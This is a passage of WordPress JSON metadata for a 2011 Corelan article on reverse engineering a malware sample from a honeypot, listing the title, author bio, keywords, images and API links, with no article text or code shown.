Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2011-01-31T19:10:00+00:00","og_image":[{"url":"http:\/\/www.corelan.be\/wp-content\/plugins\/digiproveblog\/dp_seal_trans_16x16.png","type":"","width":"","height":""}],"author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"The Honeypot Incident - How strong is your UF (Reversing FU)","datePublished":"2011-01-31T19:10:00+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/"},"wordCount":15975,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/#primaryimage"},"thumbnailUrl":"http:\/\/www.corelan.be\/wp-content\/plugins\/digiproveblog\/dp_seal_trans_16x16.png","keywords":["reverse engineering","malware","iat","debugging","peb","debugger","corelan"],"articleSection":["Exploits","Malware and Reversing","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/","url":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/","name":"The Honeypot Incident - How strong is your UF (Reversing FU) - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/#primaryimage"},"thumbnailUrl":"http:\/\/www.corelan.be\/wp-content\/plugins\/digiproveblog\/dp_seal_trans_16x16.png","datePublished":"2011-01-31T19:10:00+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/#primaryimage","url":"http:\/\/www.corelan.be\/wp-content\/plugins\/digiproveblog\/dp_seal_trans_16x16.png","contentUrl":"http:\/\/www.corelan.be\/wp-content\/plugins\/digiproveblog\/dp_seal_trans_16x16.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"The Honeypot Incident &#8211; How strong is your UF (Reversing FU)"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":15947,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/5675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=5675"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/5675\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=5675"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=5675"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=5675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}